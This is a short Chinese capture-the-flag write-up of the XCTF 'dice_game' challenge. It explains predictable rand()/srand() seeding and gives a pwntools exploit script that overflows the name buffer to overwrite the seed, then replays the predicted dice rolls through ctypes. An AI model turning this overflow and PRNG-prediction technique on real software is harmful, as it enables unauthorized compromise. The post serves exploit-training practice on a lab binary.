xctf dice_game

原创

vage__table 于 2021-10-14 20:10:56 发布 19 收藏
分类专栏： xctf 文章标签： html css

rand()函数是使用线性同余法做的，它并不是真的随机数，因为其周期特别长，所以在一定范围内可以看成随机的。

srand()为初始化随机数发生器，用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型，通常我们会使用time(0)或time(NULL)的返回值作为seed。

任何在调用rand函数前如果没有设置过srand函数的种子，那么系统会自动设置srand（1）为种子。

*pass.py (~/Desktop/1) - gedit

Open Save

```
from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='arm64')
libc=cdll.LoadLibrary('./libc.so.6')
p=process('./dice_game')

payload='a'*0x40+p64(1)
p.recvuntil('your name:')
p.sendline(payload)
p.recvuntil('(1~6):')
a=[]
for i in range(50):
        a.append(libc.rand()%6+1)
for b in range(50):
        p.sendline(str(a[b]))
        print p.recv()

p.interactive()S
```

Python Tab Width: 8 Ln 18, Col 17 INS

总结：

1、import ctypes函数库，选择相应版本的libc动态链接库，（可能类似于pwntools中的ELF的调用吧233333）

2、远程传输的数字，实际上都是字符的形式的，因此需要将list中的数字转换成str的形式，再send过去。